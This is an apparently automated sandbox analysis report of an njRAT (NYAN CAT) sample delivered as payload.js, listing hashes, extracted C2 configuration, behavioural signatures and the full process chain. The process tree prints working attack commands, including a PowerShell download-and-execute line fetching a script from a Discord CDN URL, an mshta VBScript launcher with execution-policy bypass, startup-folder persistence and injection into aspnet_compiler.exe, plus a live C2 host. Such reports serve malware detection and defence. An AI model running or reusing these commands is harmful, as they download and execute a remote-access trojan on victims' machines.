njrat | 2d5964d5c8e6b8cfc4e143160f8d1d29475218f9b86324864411d3c991bee8d5

Analysis

max time kernel
150s
max time network
153s
platform
windows10_x64
resource
win10-en-20211208
submitted
10-12-2021 20:43

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General

Target

payload.js
Size

254B
MD5

d6c1fa2786171c21d3f12b40db9973db
SHA1

f61d2307582855a0c214a21f7bfe78a8cfdcbc24
SHA256

2d5964d5c8e6b8cfc4e143160f8d1d29475218f9b86324864411d3c991bee8d5
SHA512

7cf20a00d0b63e7c3e9164bebca0d834376db1d8fd383647c14b6e5eefa229b5d6528ef41290c8656e78bc69f641b7060e9023f0401459562677922715325386

Score

10^/10

njrat nyan cat suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/910897865386250264/915258994195582976/link..txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

dominio12.duckdns.org:4433

Mutex

9015ff612ab2

Attributes

reg_key
9015ff612ab2
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 4092 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 612 set thread context of 2900 612 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4092 powershell.exe
4092 powershell.exe
4092 powershell.exe
612 powershell.exe
612 powershell.exe
612 powershell.exe

flow	pid	process
9	4092	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 612 set thread context of 2900	612	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	powershell.exe

pid	process
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
612	powershell.exe
612	powershell.exe
612	powershell.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe
Token: 33	2900	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2900	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

wscript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 2576 wrote to memory of 4092	2576	wscript.exe	powershell.exe
PID 2576 wrote to memory of 4092	2576	wscript.exe	powershell.exe
PID 4092 wrote to memory of 1632	4092	powershell.exe	WScript.exe
PID 4092 wrote to memory of 1632	4092	powershell.exe	WScript.exe
PID 1632 wrote to memory of 3884	1632	WScript.exe	cmd.exe
PID 1632 wrote to memory of 3884	1632	WScript.exe	cmd.exe
PID 3884 wrote to memory of 2760	3884	cmd.exe	mshta.exe
PID 3884 wrote to memory of 2760	3884	cmd.exe	mshta.exe
PID 2760 wrote to memory of 612	2760	mshta.exe	powershell.exe
PID 2760 wrote to memory of 612	2760	mshta.exe	powershell.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe
PID 612 wrote to memory of 2900	612	powershell.exe	aspnet_compiler.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\payload.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass iex ((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/910897865386250264/915258994195582976/link..txt'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
8c0b4c510dc448a647e0e6a2e6acc7f9

SHA1
7c336d0ade87295139c9b388daed7929c7217c40

SHA256
07d4fca35e650115c32bcf2d23788ebe08d84bd2657b893ca0a666697b01c006

SHA512
84d4edbbdaba998e14094ef3de228c44b6a3fc4fc82073ab281f0ae1b451052daa0ed82b7932b838bcd9bff1986b4dc4812a074a0a8b8f3cd888ac4f1741ebec

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS

MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat

MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1

MD5
6e57313d26fb045220fafc5926e4ebb5

SHA1
a2ef44cf1f90521b1fae9af0ae8ac75337071618

SHA256
390ab39b8c2149c593f857d51207fa6a02e3c642c40fb851583500d5bd675927

SHA512
32f213b73bb6cff16973941f11e67384502c79683933a22b708d5a9b45342d0bd01383bf590913c2ca5083852c5ba8c247bfe26a3ac5d113744b34939f681802

Download Submit
memory/612-175-0x000001460AB10000-0x000001460AB12000-memory.dmp

Filesize
8KB

Download
memory/612-177-0x000001460AB13000-0x000001460AB15000-memory.dmp

Filesize
8KB

Download
memory/612-168-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-162-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-193-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-167-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-170-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-190-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-189-0x00000146257A0000-0x00000146257A3000-memory.dmp

Filesize
12KB

Download
memory/612-188-0x0000014625410000-0x0000014625415000-memory.dmp

Filesize
20KB

Download
memory/612-164-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-183-0x0000014625400000-0x0000014625402000-memory.dmp

Filesize
8KB

Download
memory/612-178-0x000001460AB16000-0x000001460AB18000-memory.dmp

Filesize
8KB

Download
memory/612-169-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-172-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-163-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-194-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-158-0x0000000000000000-mapping.dmp

Download
memory/612-160-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/612-161-0x000001460AA10000-0x000001460AA12000-memory.dmp

Filesize
8KB

Download
memory/1632-151-0x0000000000000000-mapping.dmp

Download
memory/2760-157-0x000001DA4D648000-0x000001DA4D650000-memory.dmp

Filesize
32KB

Download
memory/2760-156-0x0000000000000000-mapping.dmp

Download
memory/2900-191-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/2900-192-0x000000000040676E-mapping.dmp

Download
memory/2900-200-0x0000000005650000-0x0000000005B4E000-memory.dmp

Filesize
5.0MB

Download
memory/3884-155-0x0000000000000000-mapping.dmp

Download
memory/4092-123-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-116-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-121-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-117-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-115-0x0000000000000000-mapping.dmp

Download
memory/4092-119-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-120-0x0000026B738F0000-0x0000026B738F1000-memory.dmp

Filesize
4KB

Download
memory/4092-153-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-134-0x0000026B74370000-0x0000026B74372000-memory.dmp

Filesize
8KB

Download
memory/4092-133-0x0000026B737E6000-0x0000026B737E8000-memory.dmp

Filesize
8KB

Download
memory/4092-131-0x0000026B737E0000-0x0000026B737E2000-memory.dmp

Filesize
8KB

Download
memory/4092-132-0x0000026B737E3000-0x0000026B737E5000-memory.dmp

Filesize
8KB

Download
memory/4092-125-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-124-0x0000026B743E0000-0x0000026B743E1000-memory.dmp

Filesize
4KB

Download
memory/4092-118-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download
memory/4092-122-0x0000026B734D0000-0x0000026B734D2000-memory.dmp

Filesize
8KB

Download